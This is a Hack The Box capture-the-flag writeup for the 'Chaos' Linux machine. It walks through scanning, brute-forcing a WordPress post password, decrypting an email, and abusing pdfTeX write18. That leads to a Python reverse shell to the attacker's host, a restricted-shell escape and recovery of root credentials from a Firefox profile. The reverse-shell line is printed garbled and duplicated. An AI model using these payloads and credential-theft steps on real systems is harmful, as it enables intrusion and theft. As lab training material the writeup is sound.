HTB Writeup: Chaos

Posted on Tue 09 April 2019 in Writeups

chaos OS Linux
Author felamos
Difficulty Medium
Points 30
Released 15-12-2018
IP 10.10.10.120


Summary

Writeup of 30 points Hack The Box machine - Chaos. Fun box with several cunning rabbit holes. Access to user flag require brute-forcing (guessing) simple password and then executing commands via pdfTex. Path to root flag is cleverly hidden in Mozilla Firefox Password Manager.

Reconnaissance

Traditionally I start with nmap scanning. I covered my scanning methodology in previous post (Ypuffy writeup).

PORT      STATE SERVICE      VERSION
80/tcp    open  http     Apache httpd 2.4.34 ((Ubuntu))
110/tcp   open  pop3     Dovecot pop3d
143/tcp   open  imap     Dovecot imapd (Ubuntu)
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
995/tcp   open  ssl/pop3 Dovecot pop3d
10000/tcp open  http     MiniServ 1.890 (Webmin httpd)

10000/udp open  webmin  (https on TCP port 10000)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There were several of TCP ports open and one UDP port. TCP/10000 and UDP/10000 are related to Webmin, a web-based interface for Unix administration. From http banner we saw exact installed version - 1.890 - which is little behind currently available (1.900). There is a decent history of serious vulnerabilites with public exploits available. So looking for exploits was worth a while. And actually there is one - CVE-2019-9624, even with Metasploit module. The only problem is that in order to exploit this vulnerability, we need valid username and password.

However, if we look closely, we will find statement from Webmin, stating that this exploit need knowing root password anyway, so they don't consider this as a vulnerability - and they won't fix it. All in all I find this bizzare.

Well ok, but we still have numer of other services to explore. How about TCP/80 for beginning.

And nope, that is not the way.

But looking at port TCP/10000 without SSL give us a clue - expected hostname is chaos. Which we could have guessed from machine name as well :).

Another clue we could have found examing imap or pop3 with TLS - from TLS certificate Common Name (CN) or Subject Alternative Name (SAN) fields. I examined it with usage of nmap's NSE. From this we obtained the same hostname: chaos.

110/tcp   open  pop3     Dovecot pop3d
|_pop3-capabilities: CAPA UIDL PIPELINING TOP RESP-CODES AUTH-RESP-CODE STLS SASL
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after:  2028-10-25T10:01:49
| MD5:   af90 2165 92c7 740f d97a 786a 7e9f cb92
|_SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba
|_ssl-date: TLS randomness does not represent time
143/tcp   open  imap     Dovecot imapd (Ubuntu)
|_imap-capabilities: STARTTLS LITERAL+ more LOGIN-REFERRALS listed SASL-IR OK ID ENABLE capabilities LOGINDISABLEDA0001 post-login Pre-login IDLE have IMAP4rev1
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after:  2028-10-25T10:01:49
| MD5:   af90 2165 92c7 740f d97a 786a 7e9f cb92
|_SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba
|_ssl-date: ERROR: Script execution failed (use -d to debug)
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
|_imap-capabilities: LITERAL+ more LOGIN-REFERRALS listed SASL-IR OK ID ENABLE capabilities post-login Pre-login AUTH=PLAINA0001 IDLE have IMAP4rev1
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after:  2028-10-25T10:01:49
| MD5:   af90 2165 92c7 740f d97a 786a 7e9f cb92
|_SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba
|_ssl-date: ERROR: Script execution failed (use -d to debug)
995/tcp   open  ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after:  2028-10-25T10:01:49
| MD5:   af90 2165 92c7 740f d97a 786a 7e9f cb92
|_SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba
|_ssl-date: ERROR: Script execution failed (use -d to debug)

Trying again with proper vhost gives us nothing :).

However, everytime someone uses only relative domain name insted of FQDN, God kills a kitten. Please, think of the kittens. Use full domain names. In case of Hack The Box, domain '.htb' is usually correct.

Finally, we see some company page - nothing unusal. Maybe except interesting unfinished blog.html page - which was another clue.

Now, when webserver is more reponsive, we could try looking for some directories or interesting files.

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://chaos.htb/
[+] Threads      : 40
[+] Wordlist     : /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : txt,db,sqlite3,php
[+] Timeout      : 10s
=====================================================
=====================================================
/img (Status: 301)
/css (Status: 301)
/source (Status: 301)
/js (Status: 301)
/javascript (Status: 301)
/server-status (Status: 403)
=====================================================
=====================================================

The source directories was a rabbithole, it was typical dir for Flaticon icons.

None of discovered directories was meaningful. So maybe direct IP address was allowed after all? I tried Gobuster without vhost.

And seemed like I was on the right track. Under wp directory, I have found WordPress blog.

It even had one post published, unfortunately it was password protected. I used wpscan to examine it.

        WordPress Security Scanner by the WPScan Team
                       Version 3.4.4
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://10.10.10.120/wp/wordpress/
[+] Started: Tue Apr  2 14:38:30 2019

Interesting Finding(s):

[+] http://10.10.10.120/wp/wordpress/
 | Interesting Entry: Server: Apache/2.4.34 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://10.10.10.120/wp/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://10.10.10.120/wp/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
 | Detected By: Rss Generator (Passive Detection)
 |  - http://10.10.10.120/wp/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=4.9.8</generator>
 |  - http://10.10.10.120/wp/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.9.8</generator>
 |
 | [!] 9 vulnerabilities identified:
 |
 | [!] Title: WordPress <= 5.0 - Authenticated File Delete
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9169
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20147
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - Authenticated Post Type Bypass
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9170
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20152
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |      - https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/
 |
 | [!] Title: WordPress <= 5.0 - PHP Object Injection via Meta Data
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9171
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20148
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - Authenticated Cross-Site Scripting (XSS)
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9172
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20153
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - Cross-Site Scripting (XSS) that could affect plugins
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9173
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20150
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |      - https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a2d460
 |
 | [!] Title: WordPress <= 5.0 - User Activation Screen Search Engine Indexing
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9174
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20151
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - File Upload to XSS on Apache Web Servers
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9175
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20149
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |      - https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deef1bb206b19a
 |
 | [!] Title: WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9222
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942
 |      - https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
 |
 | [!] Title: WordPress 3.9-5.1 - Comment Cross-Site Scripting (XSS)
 |     Fixed in: 4.9.10
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9230
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9787
 |      - https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b
 |      - https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/
 |      - https://blog.ripstech.com/2019/wordpress-csrf-to-rce/

[+] WordPress theme in use: twentyseventeen
 | Location: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/
 | Last Updated: 2019-02-21T00:00:00.000Z
 | Readme: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 2.1
 | Style URL: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.9.8
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Detected By: Css Style (Passive Detection)
 |
 | Version: 1.7 (80% confidence)
 | Detected By: Style (Passive Detection)
 |  - http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.9.8, Match: 'Version: 1.7'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)

 Checking Config Backups -: |=======================================================================================================================|

[i] No Config Backups Found.

[+] Finished: Tue Apr  2 14:38:43 2019
[+] Requests Done: 72
[+] Cached Requests: 4
[+] Data Sent: 13.338 KB
[+] Data Received: 23.36 MB
[+] Memory used: 62.227 MB
[+] Elapsed time: 00:00:13

It was outdate Wordpress installation (ver. 4.9.8), which suffered from 9 vulnerabilities and one of them was Authenticated Code Execution (CVE-2019-9787). Great news. Now I needed to find some valid username and password.

Username could be obtained from post author.

Maybe password was in the content of protected post? I decided to brute-force it. First, I needed some wordlist. I used CeWL to create one.

root@kali:~/HTB_machines/10.10.10.120# cewl -w wordlist1.txt http://10.10.10.120/wp/wordpress/index.php/2018/10/28/chaos/

And then pataror to brute-force password.

root@kali:~/HTB_machines/10.10.10.120# patator http_fuzz url='http://10.10.10.120/wp/wordpress/wp-login.php?action=postpass' method=POST header='Referer: "http://10.10.10.120/wp/wordpress/"' body='post_password=FILE0&Submit=Enter' 0=wordlist1.txt -x ignore:fgrep='post-password-form' follow=1 accept_cookie=1

16:28:50 patator    INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2019-04-02 16:28 CEST
16:28:50 patator    INFO -
16:28:50 patator    INFO - code size:clen       time | candidate                          |   num | mesg
16:28:50 patator    INFO - -----------------------------------------------------------------------------
16:28:59 patator    INFO - 200  54228:-1       2.609 | human                              |    43 | HTTP/1.1 200 OK
16:29:07 patator    INFO - Hits/Done/Skip/Fail/Size: 1/97/0/0/97, Avg: 5 r/s, Time: 0h 0m 17s

Finally, I was able to read post content.

Naturally I tried to log in with obtained credentials to WordPress - obviously with no luck :).

Exploitation

So I had credetians to webmail and no webmail at all. However there was imap service available. Since I had Thunderbird installed, I used it. In Drafts dir there was unfinished message with two attachmets.

Encrypted message:

root@kali:~/HTB_machines/10.10.10.120# cat enim_msg.txt | xxd
00000000: 3030 3030 3030 3030 3030 3030 3032 3334  0000000000000234
00000010: aeee aa7a 198a d8b3 704b 3885 5a43 83cc  ...z....pK8.ZC..
00000020: f5f0 b989 5e39 e4af 6b57 870f c095 d426  ....^9..kW.....&
00000030: 77f8 39dc bea9 82f6 bd45 d3e4 2771 925b  w.9......E..'q.[
00000040: 9ee8 9efb 1e39 ee5a 8bde 7f33 800f abed  .....9.Z...3....
00000050: e62e 9e06 4396 13b9 14da 1ac1 edac cb3b  ....C..........;
00000060: acd8 33c1 f895 a2be f336 bc8f 9f52 606e  ..3......6...R`n
00000070: 7f0c ed8d a633 a23e 947d 3341 be97 b7f2  .....3.>.}3A....
00000080: 6484 e646 590c c7e2 5944 6f21 efbe 5223  d..FY...YDo!..R#
00000090: 7eef 8c5b 95eb 388e 9001 e5c6 6134 e29d  ~..[..8.....a4..
000000a0: 84ae b6c3 a13e 294b 9e4d 5ee8 7abb 0149  .....>)K.M^.z..I
000000b0: d3c5 c32c aaa2 dda8 42f9 fbfa 71dd 9559  ...,....B...q..Y
000000c0: 71cb 8f52 fb92 9971 c613 4db7 df9f 2e77  q..R...q..M....w
000000d0: d5ca a246 cd40 6dcb 390b 9116 4a44 fcb4  ...F.@m.9...JD..
000000e0: b5d3 281e fa5e 8e37 8835 7e96 22cf 2c08  ..(..^.7.5~.".,.
000000f0: dfe8 7d97 9230 a63f d455 bd01 7158 288e  ..}..0.?.U..qX(.
00000100: d972 cf98 08bf 5dad 0077 fb92 967a 474f  .r....]..w...zGO

and encryption routine in Python:

def encrypt(key, filename):
    chunksize = 64*1024
    outputFile = "en" + filename
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV =Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:
        with open(outputFile, 'wb') as outfile:
            outfile.write(filesize.encode('utf-8'))
            outfile.write(IV)

            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

def getKey(password):
            hasher = SHA256.new(password.encode('utf-8'))
            return hasher.digest()

AES - cool, it is symmetric-key algorithm and from mail content we already know the password. So quick rewriting (or DuckDuckGoing for decryption code):

def decrypt(key, filename):
   chunksize = 64 * 1024
   outputFile = "de" + filename

    with open(filename, 'rb') as infile:
        filesize = int(infile.read(16))
        IV = infile.read(16)

        decryptor = AES.new(key, AES.MODE_CBC, IV)

        with open(outputFile, 'wb') as outfile:
            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break

                outfile.write(decryptor.decrypt(chunk))
            outfile.truncate(filesize)

def getKey(password):
            hasher = SHA256.new(password.encode('utf-8'))
            return hasher.digest()

filename = 'enim_msg.txt'
key = getKey('sahay')
decrypt(key, filename)

And we have decrypted message:

root@kali:~/HTB_machines/10.10.10.120# cat deenim_msg.txt | base64 -d
Hii Sahay

Please check our new service which create pdf

p.s - As you told me to encrypt important msg, i did :)

http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3

Thanks,
Ayush

Under this url I have found PDF generator.

Generating sample pdf file gives us debug output which reveals tool and some configuration used beneath.

So putting altogether: we are dealing with pdfTex (version 3.14159265-2.6-1.40.19 - I love this joke :]), with write18 primitive enabled. What does it mean? Well, citing ConTeXt wiki:

When write18 is turned on, it means that it's possible to execute external programs in the middle of a TeX run.

Code execution you say. Lets see.

Cool, it is working! So lets spawn reverse shell:

\immediate\write18{python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16\immediate\write18{python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'}",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'}

And we have working reverse shell as www-data user. Quick check what users are present in the system and if the previously obtained password was correct (it was!).

root@kali:~/HTB_machines/10.10.10.120# ncat -v -l 1234
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.120.
Ncat: Connection from 10.10.10.120:47114.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ls -alR /home
/home:
total 16
drwxr-xr-x  4 root  root  4096 Oct 28 11:34 .
drwxr-xr-x 22 root  root  4096 Dec  9 17:19 ..
drwx------  6 ayush ayush 4096 Apr 12 16:34 ayush
drwx------  5 sahay sahay 4096 Nov 24 23:53 sahay
ls: cannot open directory '/home/ayush': Permission denied
ls: cannot open directory '/home/sahay': Permission denied
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ su - ayush
Password: jiujitsu

ayush@chaos:~$ id
Command 'id' is available in '/usr/bin/id'
The command could not be located because '/usr/bin' is not included in the PATH environment variable.
id: command not found
ayush@chaos:~$ ls -la
Command 'ls' is available in '/bin/ls'
The command could not be located because '/bin' is not included in the PATH environment variable.
ls: command not found
ayush@chaos:~$ echo $PATH
/home/ayush/.app
ayush@chaos:~$ echo $SHELL
/opt/rbash

But seems like I was in restricted shell. There are several very good tutorials on how to escape them (e.g. Linux Restricted Shell Bypass).

I used two tricks. One is to submit commands via su command.

www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ su ayush -c 'ls -la /home/ayush'
Password: jiujitsu

total 40
drwx------ 6 ayush ayush 4096 Apr 15 08:20 .
drwxr-xr-x 4 root  root  4096 Oct 28 11:34 ..
drwxr-xr-x 2 root  root  4096 Oct 28 12:25 .app
-rw------- 1 root  root     0 Nov 24 23:57 .bash_history
-rw-r--r-- 1 ayush ayush  220 Oct 28 11:34 .bash_logout
-rwxr-xr-x 1 root  root    22 Oct 28 12:27 .bashrc
drwx------ 3 ayush ayush 4096 Apr 15 08:20 .gnupg
drwx------ 3 ayush ayush 4096 Oct 28 12:17 mail
drwx------ 4 ayush ayush 4096 Sep 29  2018 .mozilla
-rw-r--r-- 1 ayush ayush  807 Oct 28 11:34 .profile
-rw------- 1 ayush ayush   33 Oct 28 12:54 user.txt
www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ su ayush -c 'cat /home/ayush/user.txt'
Password: jiujitsu

eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX1

The other is to set PATH enviroment variable in context of every issued command. Or try using absolute paths to bineries.

$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ su - ayush
Password: jiujitsu

ayush@chaos:~$ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; cat /home/ayush/user.txt
eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX1

ayush@chaos:~$ /bin/ls -la /home/ayush
dtotal 40
drwx------ 6 ayush ayush 4096 Apr 15 08:20 .
drwxr-xr-x 4 root  root  4096 Oct 28 11:34 ..
drwxr-xr-x 2 root  root  4096 Oct 28 12:25 .app
-rw------- 1 root  root     0 Nov 24 23:57 .bash_history
-rw-r--r-- 1 ayush ayush  220 Oct 28 11:34 .bash_logout
-rwxr-xr-x 1 root  root    22 Oct 28 12:27 .bashrc
drwx------ 3 ayush ayush 4096 Apr 15 08:20 .gnupg
drwx------ 3 ayush ayush 4096 Oct 28 12:17 mail
drwx------ 4 ayush ayush 4096 Sep 29  2018 .mozilla
-rw-r--r-- 1 ayush ayush  807 Oct 28 11:34 .profile
-rw------- 1 ayush ayush   33 Oct 28 12:54 user.txt

This of course are not the only way to escape rshell - creator of the machine gave serveral other options (e.g. /home/ayush/.app/tar).

Post exploitation

Post exploitation phase was fairly quick here. I remembered that I was looking for valid credetians for Webmin panel (in order to try to exploit CVE-2019-9624 vulnerability), but the that I had were invalid. So other angle was needed. I noticed several interesting directories in ayush's home.

ayush@chaos:~$ /bin/ls -la /home/ayush
dtotal 40
drwx------ 6 ayush ayush 4096 Apr 15 08:20 .
drwxr-xr-x 4 root  root  4096 Oct 28 11:34 ..
drwxr-xr-x 2 root  root  4096 Oct 28 12:25 .app
-rw------- 1 root  root     0 Nov 24 23:57 .bash_history
-rw-r--r-- 1 ayush ayush  220 Oct 28 11:34 .bash_logout
-rwxr-xr-x 1 root  root    22 Oct 28 12:27 .bashrc
drwx------ 3 ayush ayush 4096 Apr 15 08:20 .gnupg
drwx------ 3 ayush ayush 4096 Oct 28 12:17 mail
drwx------ 4 ayush ayush 4096 Sep 29  2018 .mozilla
-rw-r--r-- 1 ayush ayush  807 Oct 28 11:34 .profile
-rw------- 1 ayush ayush   33 Oct 28 12:54 user.txt

Mail directory contained mailboxes we have already seen during reconnaissance phase. .app directory contained several tools (symlinks to bineries) which could be used to escape restricted shell. That leaves inspecting the .mozilla directory.

Privilege escalation

Turned out that inside .mozilla dir, there was complete Mozilla Firefox profile. I was wondering if it conteined some useful information, e.g. cookie for Webmin service.

root@kali:~/HTB_machines/10.10.10.120/mozilla# grep -i 'chaos\|10.10.10.120' -R .
./firefox/bzo7sjt1.default/cert_override.txt:chaos.htb:10000  OID.2.16.840.1.101.3.4.2.1      C3:99:F8:77:6B:9F:0E:54:D4:29:FC:99:1D:1E:AB:C6:4E:2D:80:41:08:37:5E:B5:3B:87:BA:44:80:2C:88:CE MU      AAAAAAAAAAAAAAAJAAAATQDbHfGdsjNmrTBLMSIwIAYDVQQKDBlXZWJtaW4gV2Vic2VydmVyIG9uIGNoYW9zMQowCAYDVQQDDAEqMRkwFwYJKoZIhvcNAQkBFgpyb290QGNoYW9z
Binary file ./firefox/bzo7sjt1.default/places.sqlite matches
./firefox/bzo7sjt1.default/logins.json:{"nextId":3,"logins":[{"id":2,"hostname":"https://chaos.htb:10000","httpRealm":null,"formSubmitURL":"https://chaos.htb:10000","usernameField":"user","passwordField":"pass","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDSAazrlUMZFBAhbsMDAlL9iaw==","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNx7bW1TuuCuBBAP8YwnxCZH0+pLo6cJJxnb","guid":"{cb6cd202-0ff8-4de5-85df-e0b8a0f18778}","encType":1,"timeCreated":1540642202692,"timeLastUsed":1540642202692,"timePasswordChanged":1540642202692,"timesUsed":1}],"disabledHosts":[],"version":2}
Binary file ./firefox/bzo7sjt1.default/webappsstore.sqlite matches
Binary file ./firefox/bzo7sjt1.default/cert9.db matches

Better. It had stored credentials. Question is, was it password protected? It could be easily checked by importing profile to Mozilla Firefox instalation or looking for some too to decrypt it offline. And I have found this nifty tool.

root@kali:~/HTB_machines/10.10.10.120/firefox_decrypt# python3 firefox_decrypt.py ../mozilla/firefox/

Master Password for profile ../mozilla/firefox/bzo7sjt1.default:  jiujitsu

Website:   https://chaos.htb:10000
Username: 'root'
Password: 'Thiv8wrej~'

It was password protected, but I managed to guess the password. So now straight for the root flag (using previuosly gained reverse shell).

ayush@chaos:~$ su -
su -
Password: Thiv8wrej~

root@chaos:~# id
uid=0(root) gid=0(root) groups=0(root)
root@chaos:~# cat /root/root.txt
4XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX0

Voilà.

Official writeup